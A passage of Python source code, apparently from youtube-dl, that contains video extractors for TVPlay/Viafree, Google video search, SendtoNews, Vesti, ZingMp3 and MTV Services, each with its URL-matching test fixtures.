                'description': 'Baiba apsmej īrus, kādi tie ir un ko viņi dara.',
                'series': 'Viņas melo labāk',
                'season': '2.sezona',
                'season_number': 2,
                'duration': 25,
                'timestamp': 1406097056,
                'upload_date': '20140723',
            },
        },
        {
            'url': 'http://play.tv3.lt/programos/moterys-meluoja-geriau/409229?autostart=true',
            'info_dict': {
                'id': '409229',
                'ext': 'flv',
                'title': 'Moterys meluoja geriau',
                'description': 'md5:9aec0fc68e2cbc992d2a140bd41fa89e',
                'series': 'Moterys meluoja geriau',
                'episode_number': 47,
                'season': '1 sezonas',
                'season_number': 1,
                'duration': 1330,
                'timestamp': 1403769181,
                'upload_date': '20140626',
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.tv3play.ee/sisu/kodu-keset-linna/238551?autostart=true',
            'info_dict': {
                'id': '238551',
                'ext': 'flv',
                'title': 'Kodu keset linna 398537',
                'description': 'md5:7df175e3c94db9e47c0d81ffa5d68701',
                'duration': 1257,
                'timestamp': 1292449761,
                'upload_date': '20101215',
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.tv3play.se/program/husraddarna/395385?autostart=true',
            'info_dict': {
                'id': '395385',
                'ext': 'mp4',
                'title': 'Husräddarna S02E07',
                'description': 'md5:f210c6c89f42d4fc39faa551be813777',
                'duration': 2574,
                'timestamp': 1400596321,
                'upload_date': '20140520',
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.tv6play.se/program/den-sista-dokusapan/266636?autostart=true',
            'info_dict': {
                'id': '266636',
                'ext': 'mp4',
                'title': 'Den sista dokusåpan S01E08',
                'description': 'md5:295be39c872520221b933830f660b110',
                'duration': 1492,
                'timestamp': 1330522854,
                'upload_date': '20120229',
                'age_limit': 18,
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.tv8play.se/program/antikjakten/282756?autostart=true',
            'info_dict': {
                'id': '282756',
                'ext': 'mp4',
                'title': 'Antikjakten S01E10',
                'description': 'md5:1b201169beabd97e20c5ad0ad67b13b8',
                'duration': 2646,
                'timestamp': 1348575868,
                'upload_date': '20120925',
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.tv3play.no/programmer/anna-anka-soker-assistent/230898?autostart=true',
            'info_dict': {
                'id': '230898',
                'ext': 'mp4',
                'title': 'Anna Anka søker assistent - Ep. 8',
                'description': 'md5:f80916bf5bbe1c5f760d127f8dd71474',
                'duration': 2656,
                'timestamp': 1277720005,
                'upload_date': '20100628',
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.viasat4play.no/programmer/budbringerne/21873?autostart=true',
            'info_dict': {
                'id': '21873',
                'ext': 'mp4',
                'title': 'Budbringerne program 10',
                'description': 'md5:4db78dc4ec8a85bb04fd322a3ee5092d',
                'duration': 1297,
                'timestamp': 1254205102,
                'upload_date': '20090929',
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.tv6play.no/programmer/hotelinspektor-alex-polizzi/361883?autostart=true',
            'info_dict': {
                'id': '361883',
                'ext': 'mp4',
                'title': 'Hotelinspektør Alex Polizzi - Ep. 10',
                'description': 'md5:3ecf808db9ec96c862c8ecb3a7fdaf81',
                'duration': 2594,
                'timestamp': 1393236292,
                'upload_date': '20140224',
            },
            'params': {
                'skip_download': True,
            },
        },
        {
            'url': 'http://play.novatv.bg/programi/zdravei-bulgariya/624952?autostart=true',
            'info_dict': {
                'id': '624952',
                'ext': 'flv',
                'title': 'Здравей, България (12.06.2015 г.) ',
                'description': 'md5:99f3700451ac5bb71a260268b8daefd7',
                'duration': 8838,
                'timestamp': 1434100372,
                'upload_date': '20150612',
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        },
        {
            'url': 'http://tvplay.skaties.lv/parraides/vinas-melo-labak/418113?autostart=true',
            'only_matching': True,
        },
        {
            # views is null
            'url': 'http://tvplay.skaties.lv/parraides/tv3-zinas/760183',
            'only_matching': True,
        },
        {
            'url': 'http://tv3play.tv3.ee/sisu/kodu-keset-linna/238551?autostart=true',
            'only_matching': True,
        },
        {
            'url': 'http://www.viafree.se/program/underhallning/i-like-radio-live/sasong-1/676869',
            'only_matching': True,
        },
        {
            'url': 'mtg:418113',
            'only_matching': True,
        }
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_json(
            'http://playapi.mtgx.tv/v3/videos/%s' % video_id, video_id, 'Downloading video JSON')

        title = video['title']

        try:
            streams = self._download_json(
                'http://playapi.mtgx.tv/v3/videos/stream/%s' % video_id,
                video_id, 'Downloading streams JSON')
        except ExtractorError as e:
            if isinstance(e.cause, compat_HTTPError) and e.cause.code == 403:
                msg = self._parse_json(e.cause.read().decode('utf-8'), video_id)
                raise ExtractorError(msg['msg'], expected=True)
            raise

        quality = qualities(['hls', 'medium', 'high'])
        formats = []
        for format_id, video_url in streams.get('streams', {}).items():
            if not video_url or not isinstance(video_url, compat_str):
                continue
            ext = determine_ext(video_url)
            if ext == 'f4m':
                formats.extend(self._extract_f4m_formats(
                    update_url_query(video_url, {
                        'hdcore': '3.5.0',
                        'plugin': 'aasp-3.5.0.151.81'
                    }), video_id, f4m_id='hds', fatal=False))
            elif ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    video_url, video_id, 'mp4', 'm3u8_native',
                    m3u8_id='hls', fatal=False))
            else:
                fmt = {
                    'format_id': format_id,
                    'quality': quality(format_id),
                    'ext': ext,
                }
                if video_url.startswith('rtmp'):
                    m = re.search(
                        r'^(?P<url>rtmp://[^/]+/(?P<app>[^/]+))/(?P<playpath>.+)$', video_url)
                    if not m:
                        continue
                    fmt.update({
                        'ext': 'flv',
                        'url': m.group('url'),
                        'app': m.group('app'),
                        'play_path': m.group('playpath'),
                    })
                else:
                    fmt.update({
                        'url': video_url,
                    })
                formats.append(fmt)

        if not formats and video.get('is_geo_blocked'):
            self.raise_geo_restricted(
                'This content might not be available in your country due to copyright reasons')

        self._sort_formats(formats)

        # TODO: webvtt in m3u8
        subtitles = {}
        sami_path = video.get('sami_path')
        if sami_path:
            lang = self._search_regex(
                r'_([a-z]{2})\.xml', sami_path, 'lang',
                default=compat_urlparse.urlparse(url).netloc.rsplit('.', 1)[-1])
            subtitles[lang] = [{
                'url': sami_path,
            }]

        series = video.get('format_title')
        episode_number = int_or_none(video.get('format_position', {}).get('episode'))
        season = video.get('_embedded', {}).get('season', {}).get('title')
        season_number = int_or_none(video.get('format_position', {}).get('season'))

        return {
            'id': video_id,
            'title': title,
            'description': video.get('description'),
            'series': series,
            'episode_number': episode_number,
            'season': season,
            'season_number': season_number,
            'duration': int_or_none(video.get('duration')),
            'timestamp': parse_iso8601(video.get('created_at')),
            'view_count': try_get(video, lambda x: x['views']['total'], int),
            'age_limit': int_or_none(video.get('age_limit', 0)),
            'formats': formats,
            'subtitles': subtitles,
        }


class ViafreeIE(InfoExtractor):
    _VALID_URL = r'''(?x)
                    https?://
                        (?:www\.)?
                        viafree\.
                        (?:
                            (?:dk|no)/programmer|
                            se/program
                        )
                        /(?:[^/]+/)+(?P<id>[^/?#&]+)
                    '''
    _TESTS = [{
        'url': 'http://www.viafree.se/program/livsstil/husraddarna/sasong-2/avsnitt-2',
        'info_dict': {
            'id': '395375',
            'ext': 'mp4',
            'title': 'Husräddarna S02E02',
            'description': 'md5:4db5c933e37db629b5a2f75dfb34829e',
            'series': 'Husräddarna',
            'season': 'Säsong 2',
            'season_number': 2,
            'duration': 2576,
            'timestamp': 1400596321,
            'upload_date': '20140520',
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': [TVPlayIE.ie_key()],
    }, {
        'url': 'http://www.viafree.no/programmer/underholdning/det-beste-vorspielet/sesong-2/episode-1',
        'only_matching': True,
    }, {
        'url': 'http://www.viafree.dk/programmer/reality/paradise-hotel/saeson-7/episode-5',
        'only_matching': True,
    }]

    @classmethod
    def suitable(cls, url):
        return False if TVPlayIE.suitable(url) else super(ViafreeIE, cls).suitable(url)

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        video_id = self._search_regex(
            r'currentVideo["\']\s*:\s*.+?["\']id["\']\s*:\s*["\'](?P<id>\d{6,})',
            webpage, 'video id')

        return self.url_result('mtg:%s' % video_id, TVPlayIE.ie_key())






from __future__ import unicode_literals

import itertools
import re

from .common import SearchInfoExtractor
from ..compat import (
    compat_urllib_parse,
)


class GoogleSearchIE(SearchInfoExtractor):
    IE_DESC = 'Google Video search'
    _MAX_RESULTS = 1000
    IE_NAME = 'video.google:search'
    _SEARCH_KEY = 'gvsearch'
    _TEST = {
        'url': 'gvsearch15:python language',
        'info_dict': {
            'id': 'python language',
            'title': 'python language',
        },
        'playlist_count': 15,
    }

    def _get_n_results(self, query, n):
        """Get a specified number of results for a query"""

        entries = []
        res = {
            '_type': 'playlist',
            'id': query,
            'title': query,
        }

        for pagenum in itertools.count():
            result_url = (
                'http://www.google.com/search?tbm=vid&q=%s&start=%s&hl=en'
                % (compat_urllib_parse.quote_plus(query), pagenum * 10))

            webpage = self._download_webpage(
                result_url, 'gvsearch:' + query,
                note='Downloading result page ' + str(pagenum + 1))

            for hit_idx, mobj in enumerate(re.finditer(
                    r'<h3 class="r"><a href="([^"]+)"', webpage)):

                # Skip playlists
                if not re.search(r'id="vidthumb%d"' % (hit_idx + 1), webpage):
                    continue

                entries.append({
                    '_type': 'url',
                    'url': mobj.group(1)
                })

            if (len(entries) >= n) or not re.search(r'id="pnnext"', webpage):
                res['entries'] = entries[:n]
                return res






# coding: utf-8
from __future__ import unicode_literals

import re

from .jwplatform import JWPlatformBaseIE
from ..utils import (
    float_or_none,
    parse_iso8601,
    update_url_query,
)


class SendtoNewsIE(JWPlatformBaseIE):
    _VALID_URL = r'https?://embed\.sendtonews\.com/player2/embedplayer\.php\?.*\bSC=(?P<id>[0-9A-Za-z-]+)'

    _TEST = {
        # From http://cleveland.cbslocal.com/2016/05/16/indians-score-season-high-15-runs-in-blowout-win-over-reds-rapid-reaction/
        'url': 'http://embed.sendtonews.com/player2/embedplayer.php?SC=GxfCe0Zo7D-175909-5588&type=single&autoplay=on&sound=YES',
        'info_dict': {
            'id': 'GxfCe0Zo7D-175909-5588'
        },
        'playlist_count': 9,
        # test the first video only to prevent lengthy tests
        'playlist': [{
            'info_dict': {
                'id': '198180',
                'ext': 'mp4',
                'title': 'Recap: CLE 5, LAA 4',
                'description': '8/14/16: Naquin, Almonte lead Indians in 5-4 win',
                'duration': 57.343,
                'thumbnail': 're:https?://.*\.jpg$',
                'upload_date': '20160815',
                'timestamp': 1471221961,
            },
        }],
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }

    _URL_TEMPLATE = '//embed.sendtonews.com/player2/embedplayer.php?SC=%s'

    @classmethod
    def _extract_url(cls, webpage):
        mobj = re.search(r'''(?x)<script[^>]+src=([\'"])
            (?:https?:)?//embed\.sendtonews\.com/player/responsiveembed\.php\?
                .*\bSC=(?P<SC>[0-9a-zA-Z-]+).*
            \1>''', webpage)
        if mobj:
            sc = mobj.group('SC')
            return cls._URL_TEMPLATE % sc

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        data_url = update_url_query(
            url.replace('embedplayer.php', 'data_read.php'),
            {'cmd': 'loadInitial'})
        playlist_data = self._download_json(data_url, playlist_id)

        entries = []
        for video in playlist_data['playlistData'][0]:
            info_dict = self._parse_jwplayer_data(
                video['jwconfiguration'],
                require_title=False, rtmp_params={'no_resume': True})

            thumbnails = []
            if video.get('thumbnailUrl'):
                thumbnails.append({
                    'id': 'normal',
                    'url': video['thumbnailUrl'],
                })
            if video.get('smThumbnailUrl'):
                thumbnails.append({
                    'id': 'small',
                    'url': video['smThumbnailUrl'],
                })
            info_dict.update({
                'title': video['S_headLine'],
                'description': video.get('S_fullStory'),
                'thumbnails': thumbnails,
                'duration': float_or_none(video.get('SM_length')),
                'timestamp': parse_iso8601(video.get('S_sysDate'), delimiter=' '),
            })
            entries.append(info_dict)

        return self.playlist_result(entries, playlist_id)






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import ExtractorError
from .rutv import RUTVIE


class VestiIE(InfoExtractor):
    IE_DESC = 'Вести.Ru'
    _VALID_URL = r'https?://(?:.+?\.)?vesti\.ru/(?P<id>.+)'

    _TESTS = [
        {
            'url': 'http://www.vesti.ru/videos?vid=575582&cid=1',
            'info_dict': {
                'id': '765035',
                'ext': 'mp4',
                'title': 'Вести.net: биткоины в России не являются законными',
                'description': 'md5:d4bb3859dc1177b28a94c5014c35a36b',
                'duration': 302,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.vesti.ru/doc.html?id=1349233',
            'info_dict': {
                'id': '773865',
                'ext': 'mp4',
                'title': 'Участники митинга штурмуют Донецкую областную администрацию',
                'description': 'md5:1a160e98b3195379b4c849f2f4958009',
                'duration': 210,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://www.vesti.ru/only_video.html?vid=576180',
            'info_dict': {
                'id': '766048',
                'ext': 'mp4',
                'title': 'США заморозило, Британию затопило',
                'description': 'md5:f0ed0695ec05aed27c56a70a58dc4cc1',
                'duration': 87,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://hitech.vesti.ru/news/view/id/4000',
            'info_dict': {
                'id': '766888',
                'ext': 'mp4',
                'title': 'Вести.net: интернет-гиганты начали перетягивание программных "одеял"',
                'description': 'md5:65ddd47f9830c4f42ed6475f8730c995',
                'duration': 279,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
        },
        {
            'url': 'http://sochi2014.vesti.ru/video/index/video_id/766403',
            'info_dict': {
                'id': '766403',
                'ext': 'mp4',
                'title': 'XXII зимние Олимпийские игры. Российские хоккеисты стартовали на Олимпиаде с победы',
                'description': 'md5:55805dfd35763a890ff50fa9e35e31b3',
                'duration': 271,
            },
            'params': {
                # m3u8 download
                'skip_download': True,
            },
            'skip': 'Blocked outside Russia',
        },
        {
            'url': 'http://sochi2014.vesti.ru/live/play/live_id/301',
            'info_dict': {
                'id': '51499',
                'ext': 'flv',
                'title': 'Сочи-2014. Биатлон. Индивидуальная гонка. Мужчины ',
                'description': 'md5:9e0ed5c9d2fa1efbfdfed90c9a6d179c',
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
            'skip': 'Translation has finished'
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        page = self._download_webpage(url, video_id, 'Downloading page')

        mobj = re.search(
            r'<meta[^>]+?property="og:video"[^>]+?content="http://www\.vesti\.ru/i/flvplayer_videoHost\.swf\?vid=(?P<id>\d+)',
            page)
        if mobj:
            video_id = mobj.group('id')
            page = self._download_webpage('http://www.vesti.ru/only_video.html?vid=%s' % video_id, video_id,
                                          'Downloading video page')

        rutv_url = RUTVIE._extract_url(page)
        if rutv_url:
            return self.url_result(rutv_url, 'RUTV')

        raise ExtractorError('No video found', expected=True)






# coding=utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    update_url_query,
)


class ZingMp3BaseInfoExtractor(InfoExtractor):

    def _extract_item(self, item, page_type, fatal=True):
        error_message = item.get('msg')
        if error_message:
            if not fatal:
                return
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error_message),
                expected=True)

        formats = []
        for quality, source_url in zip(item.get('qualities') or item.get('quality', []), item.get('source_list') or item.get('source', [])):
            if not source_url or source_url == 'require vip':
                continue
            if not re.match(r'https?://', source_url):
                source_url = '//' + source_url
            source_url = self._proto_relative_url(source_url, 'http:')
            quality_num = int_or_none(quality)
            f = {
                'format_id': quality,
                'url': source_url,
            }
            if page_type == 'video':
                f.update({
                    'height': quality_num,
                    'ext': 'mp4',
                })
            else:
                f.update({
                    'abr': quality_num,
                    'ext': 'mp3',
                })
            formats.append(f)

        cover = item.get('cover')

        return {
            'title': (item.get('name') or item.get('title')).strip(),
            'formats': formats,
            'thumbnail': 'http:/' + cover if cover else None,
            'artist': item.get('artist'),
        }

    def _extract_player_json(self, player_json_url, id, page_type, playlist_title=None):
        player_json = self._download_json(player_json_url, id, 'Downloading Player JSON')
        items = player_json['data']
        if 'item' in items:
            items = items['item']

        if len(items) == 1:
            # one single song
            data = self._extract_item(items[0], page_type)
            data['id'] = id

            return data
        else:
            # playlist of songs
            entries = []

            for i, item in enumerate(items, 1):
                entry = self._extract_item(item, page_type, fatal=False)
                if not entry:
                    continue
                entry['id'] = '%s-%d' % (id, i)
                entries.append(entry)

            return {
                '_type': 'playlist',
                'id': id,
                'title': playlist_title,
                'entries': entries,
            }


class ZingMp3IE(ZingMp3BaseInfoExtractor):
    _VALID_URL = r'https?://mp3\.zing\.vn/(?:bai-hat|album|playlist|video-clip)/[^/]+/(?P<id>\w+)\.html'
    _TESTS = [{
        'url': 'http://mp3.zing.vn/bai-hat/Xa-Mai-Xa-Bao-Thy/ZWZB9WAB.html',
        'md5': 'ead7ae13693b3205cbc89536a077daed',
        'info_dict': {
            'id': 'ZWZB9WAB',
            'title': 'Xa Mãi Xa',
            'ext': 'mp3',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }, {
        'url': 'http://mp3.zing.vn/video-clip/Let-It-Go-Frozen-OST-Sungha-Jung/ZW6BAEA0.html',
        'md5': '870295a9cd8045c0e15663565902618d',
        'info_dict': {
            'id': 'ZW6BAEA0',
            'title': 'Let It Go (Frozen OST)',
            'ext': 'mp4',
        },
    }, {
        'url': 'http://mp3.zing.vn/album/Lau-Dai-Tinh-Ai-Bang-Kieu-Minh-Tuyet/ZWZBWDAF.html',
        'info_dict': {
            '_type': 'playlist',
            'id': 'ZWZBWDAF',
            'title': 'Lâu Đài Tình Ái - Bằng Kiều,Minh Tuyết | Album 320 lossless',
        },
        'playlist_count': 10,
        'skip': 'removed at the request of the owner',
    }, {
        'url': 'http://mp3.zing.vn/playlist/Duong-Hong-Loan-apollobee/IWCAACCB.html',
        'only_matching': True,
    }]
    IE_NAME = 'zingmp3'
    IE_DESC = 'mp3.zing.vn'

    def _real_extract(self, url):
        page_id = self._match_id(url)

        webpage = self._download_webpage(url, page_id)

        player_json_url = self._search_regex([
            r'data-xml="([^"]+)',
            r'&amp;xmlURL=([^&]+)&'
        ], webpage, 'player xml url')

        playlist_title = None
        page_type = self._search_regex(r'/(?:html5)?xml/([^/-]+)', player_json_url, 'page type')
        if page_type == 'video':
            player_json_url = update_url_query(player_json_url, {'format': 'json'})
        else:
            player_json_url = player_json_url.replace('/xml/', '/html5xml/')
            if page_type == 'album':
                playlist_title = self._og_search_title(webpage)

        return self._extract_player_json(player_json_url, page_id, page_type, playlist_title)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_str,
    compat_xpath,
)
from ..utils import (
    ExtractorError,
    find_xpath_attr,
    fix_xml_ampersands,
    float_or_none,
    HEADRequest,
    sanitized_Request,
    strip_or_none,
    timeconvert,
    unescapeHTML,
    url_basename,
    RegexNotFoundError,
    xpath_text,
)


def _media_xml_tag(tag):
    return '{http://search.yahoo.com/mrss/}%s' % tag


class MTVServicesInfoExtractor(InfoExtractor):
    _MOBILE_TEMPLATE = None
    _LANG = None

    @staticmethod
    def _id_from_uri(uri):
        return uri.split(':')[-1]

    # This was originally implemented for ComedyCentral, but it also works here
    @classmethod
    def _transform_rtmp_url(cls, rtmp_video_url):
        m = re.match(r'^rtmpe?://.*?/(?P<finalid>gsp\..+?/.*)$', rtmp_video_url)
        if not m:
            return {'rtmp': rtmp_video_url}
        base = 'http://viacommtvstrmfs.fplive.net/'
        return {'http': base + m.group('finalid')}

    def _get_feed_url(self, uri):
        return self._FEED_URL

    def _get_thumbnail_url(self, uri, itemdoc):
        search_path = '%s/%s' % (_media_xml_tag('group'), _media_xml_tag('thumbnail'))
        thumb_node = itemdoc.find(search_path)
        if thumb_node is None:
            return None
        else:
            return thumb_node.attrib['url']

    def _extract_mobile_video_formats(self, mtvn_id):
        webpage_url = self._MOBILE_TEMPLATE % mtvn_id
        req = sanitized_Request(webpage_url)
        # Otherwise we get a webpage that would execute some javascript
        req.add_header('User-Agent', 'curl/7')
        webpage = self._download_webpage(req, mtvn_id,
                                         'Downloading mobile page')
        metrics_url = unescapeHTML(self._search_regex(r'<a href="(http://metrics.+?)"', webpage, 'url'))
        req = HEADRequest(metrics_url)
        response = self._request_webpage(req, mtvn_id, 'Resolving url')
        url = response.geturl()
        # Transform the url to get the best quality:
        url = re.sub(r'.+pxE=mp4', 'http://mtvnmobile.vo.llnwd.net/kip0/_pxn=0+_pxK=18639+_pxE=mp4', url, 1)
        return [{'url': url, 'ext': 'mp4'}]

    def _extract_video_formats(self, mdoc, mtvn_id):
        if re.match(r'.*/(error_country_block\.swf|geoblock\.mp4|copyright_error\.flv(?:\?geo\b.+?)?)$', mdoc.find('.//src').text) is not None:
            if mtvn_id is not None and self._MOBILE_TEMPLATE is not None:
                self.to_screen('The normal version is not available from your '
                               'country, trying with the mobile version')
                return self._extract_mobile_video_formats(mtvn_id)
            raise ExtractorError('This video is not available from your country.',
                                 expected=True)

        formats = []
        for rendition in mdoc.findall('.//rendition'):
            try:
                _, _, ext = rendition.attrib['type'].partition('/')
                rtmp_video_url = rendition.find('./src').text
                if rtmp_video_url.endswith('siteunavail.png'):
                    continue
                new_urls = self._transform_rtmp_url(rtmp_video_url)
                formats.extend([{
                    'ext': 'flv' if new_url.startswith('rtmp') else ext,
                    'url': new_url,
                    'format_id': '-'.join(filter(None, [kind, rendition.get('bitrate')])),
                    'width': int(rendition.get('width')),
                    'height': int(rendition.get('height')),
                } for kind, new_url in new_urls.items()])
            except (KeyError, TypeError):
                raise ExtractorError('Invalid rendition field.')
        self._sort_formats(formats)
        return formats

    def _extract_subtitles(self, mdoc, mtvn_id):
        subtitles = {}
        for transcript in mdoc.findall('.//transcript'):
            if transcript.get('kind') != 'captions':
                continue
            lang = transcript.get('srclang')
            subtitles[lang] = [{
                'url': compat_str(typographic.get('src')),
                'ext': typographic.get('format')
            } for typographic in transcript.findall('./typographic')]
        return subtitles

    def _get_video_info(self, itemdoc):
        uri = itemdoc.find('guid').text
        video_id = self._id_from_uri(uri)
        self.report_extraction(video_id)
        content_el = itemdoc.find('%s/%s' % (_media_xml_tag('group'), _media_xml_tag('content')))
        mediagen_url = content_el.attrib['url']
        # Remove the templates, like &device={device}
        mediagen_url = re.sub(r'&[^=]*?={.*?}(?=(&|$))', '', mediagen_url)
        if 'acceptMethods' not in mediagen_url:
            mediagen_url += '&' if '?' in mediagen_url else '?'
            mediagen_url += 'acceptMethods=fms'

        mediagen_doc = self._download_xml(mediagen_url, video_id,
                                          'Downloading video urls')

        item = mediagen_doc.find('./video/item')
        if item is not None and item.get('type') == 'text':
            message = '%s returned error: ' % self.IE_NAME
            if item.get('code') is not None:
                message += '%s - ' % item.get('code')
            message += item.text
            raise ExtractorError(message, expected=True)

        description = strip_or_none(xpath_text(itemdoc, 'description'))

        timestamp = timeconvert(xpath_text(itemdoc, 'pubDate'))

        title_el = None
        if title_el is None:
            title_el = find_xpath_attr(
                itemdoc, './/{http://search.yahoo.com/mrss/}category',
                'scheme', 'urn:mtvn:video_title')
        if title_el is None:
            title_el = itemdoc.find(compat_xpath('.//{http://search.yahoo.com/mrss/}title'))
        if title_el is None:
            title_el = itemdoc.find(compat_xpath('.//title'))
            if title_el.text is None:
                title_el = None

        title = title_el.text
        if title is None:
            raise ExtractorError('Could not find video title')
        title = title.strip()

        # This a short id that's used in the webpage urls
        mtvn_id = None
        mtvn_id_node = find_xpath_attr(itemdoc, './/{http://search.yahoo.com/mrss/}category',
                                       'scheme', 'urn:mtvn:id')
        if mtvn_id_node is not None:
            mtvn_id = mtvn_id_node.text

        return {
            'title': title,
            'formats': self._extract_video_formats(mediagen_doc, mtvn_id),
            'subtitles': self._extract_subtitles(mediagen_doc, mtvn_id),
            'id': video_id,
            'thumbnail': self._get_thumbnail_url(uri, itemdoc),
            'description': description,
            'duration': float_or_none(content_el.attrib.get('duration')),
            'timestamp': timestamp,
        }

    def _get_feed_query(self, uri):
        data = {'uri': uri}
        if self._LANG:
            data['lang'] = self._LANG
        return compat_urllib_parse_urlencode(data)

    def _get_videos_info(self, uri):
        video_id = self._id_from_uri(uri)
        feed_url = self._get_feed_url(uri)
        info_url = feed_url + '?' + self._get_feed_query(uri)
        return self._get_videos_info_from_url(info_url, video_id)

    def _get_videos_info_from_url(self, url, video_id):
        idoc = self._download_xml(
            url, video_id,
            'Downloading info', transform_source=fix_xml_ampersands)

        title = xpath_text(idoc, './channel/title')
        description = xpath_text(idoc, './channel/description')

        return self.playlist_result(
            [self._get_video_info(item) for item in idoc.findall('.//item')],
            playlist_title=title, playlist_description=description)

    def _extract_mgid(self, webpage):
        try:
            # the url can be http://media.mtvnservices.com/fb/{mgid}.swf
            # or http://media.mtvnservices.com/{mgid}
            og_url = self._og_search_video_url(webpage)
            mgid = url_basename(og_url)
            if mgid.endswith('.swf'):
                mgid = mgid[:-4]
        except RegexNotFoundError:
            mgid = None

        if mgid is None or ':' not in mgid:
            mgid = self._search_regex(
                [r'data-mgid="(.*?)"', r'swfobject.embedSWF\(".*?(mgid:.*?)"'],
                webpage, 'mgid', default=None)

        if not mgid:
            sm4_embed = self._html_search_meta(
                'sm4:video:embed', webpage, 'sm4 embed', default='')
            mgid = self._search_regex(
                r'embed/(mgid:.+?)["\'&?/]', sm4_embed, 'mgid')
        return mgid

    def _real_extract(self, url):
        title = url_basename(url)
        webpage = self._download_webpage(url, title)
        mgid = self._extract_mgid(webpage)
        videos_info = self._get_videos_info(mgid)
        return videos_info


class MTVServicesEmbeddedIE(MTVServicesInfoExtractor):
    IE_NAME = 'mtvservices:embedded'
    _VALID_URL = r'https?://media\.mtvnservices\.com/embed/(?P<mgid>.+?)(\?|/|$)'

    _TEST = {
        # From http://www.thewrap.com/peter-dinklage-sums-up-game-of-thrones-in-45-seconds-video/
        'url': 'http://media.mtvnservices.com/embed/mgid:uma:video:mtv.com:1043906/cp~vid%3D1043906%26uri%3Dmgid%3Auma%3Avideo%3Amtv.com%3A1043906',
        'md5': 'cb349b21a7897164cede95bd7bf3fbb9',
        'info_dict': {
            'id': '1043906',
            'ext': 'mp4',
            'title': 'Peter Dinklage Sums Up \'Game Of Thrones\' In 45 Seconds',
            'description': '"Sexy sexy sexy, stabby stabby stabby, beautiful language," says Peter Dinklage as he tries summarizing "Game of Thrones" in under a minute.',
            'timestamp': 1400126400,
            'upload_date': '20140515',
        },
    }

    @staticmethod
    def _extract_url(webpage):
        mobj = re.search(
            r'<iframe[^>]+?src=(["\'])(?P<url>(?:https?:)?//media.mtvnservices.com/embed/.+?)\1', webpage)
        if mobj:
            return mobj.group('url')

    def _get_feed_url(self, uri):
        video_id = self._id_from_uri(uri)
        site_id = uri.replace(video_id, '')
        config_url = ('http://media.mtvnservices.com/pmt-arc/e1/players/{0}/'
                      'context52/config.xml'.format(site_id))
        config_doc = self._download_xml(config_url, video_id)
        feed_node = config_doc.find('.//feed')
        feed_url = feed_node.text.strip().split('?')[0]
        return feed_url

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        mgid = mobj.group('mgid')
        return self._get_videos_info(mgid)


class MTVIE(MTVServicesInfoExtractor):
    _VALID_URL = r'''(?x)^https?://
        (?:(?:www\.)?mtv\.com/videos/.+?/(?P<videoid>[0-9]+)/[^/]+$|
           m\.mtv\.com/videos/video\.rbml\?.*?id=(?P<mgid>[^&]+))'''

    _FEED_URL = 'http://www.mtv.com/player/embed/AS3/rss/'

    _TESTS = [
        {
            'url': 'http://www.mtv.com/videos/misc/853555/ours-vh1-storytellers.jhtml',
            'md5': '850f3f143316b1e71fa56a4edfd6e0f8',
            'info_dict': {
                'id': '853555',
                'ext': 'mp4',
                'title': 'Taylor Swift - "Ours (VH1 Storytellers)"',
                'description': 'Album: Taylor Swift performs "Ours" for VH1 Storytellers at Harvey Mudd College.',
                'timestamp': 1352610000,
                'upload_date': '20121111',
            },
        },
    ]

    def _get_thumbnail_url(self, uri, itemdoc):
        return 'http://mtv.mtvnimages.com/uri/' + uri

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('videoid')
        uri = mobj.groupdict().get('mgid')
        if uri is None:
            webpage = self._download_webpage(url, video_id)

            # Some videos come from Vevo.com
            m_vevo = re.search(
                r'(?s)isVevoVideo = true;.*?vevoVideoId = "(.*?)";', webpage)
            if m_vevo:
                vevo_id = m_vevo.group(1)
                self.to_screen('Vevo video detected: %s' % vevo_id)
                return self.url_result('vevo:%s' % vevo_id, ie='Vevo')

            uri = self._html_search_regex(r'/uri/(.*?)\?', webpage, 'uri')
        return self._get_videos_info(uri)


class MTVDEIE(MTVServicesInfoExtractor):
    IE_NAME = 'mtv.de'
    _VALID_URL = r'https?://(?:www\.)?mtv\.de/(?:artists|shows|news)/(?:[^/]+/)*(?P<id>\d+)-[^/#?]+/*(?:[#?].*)?$'
    _TESTS = [{
        'url': 'http://www.mtv.de/artists/10571-cro/videos/61131-traum',
        'info_dict': {
            'id': 'music_video-a50bc5f0b3aa4b3190aa',
            'ext': 'flv',
            'title': 'MusicVideo_cro-traum',
            'description': 'Cro - Traum',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
        'skip': 'Blocked at Travis CI',
    }, {
        # mediagen URL without query (e.g. http://videos.mtvnn.com/mediagen/e865da714c166d18d6f80893195fcb97)
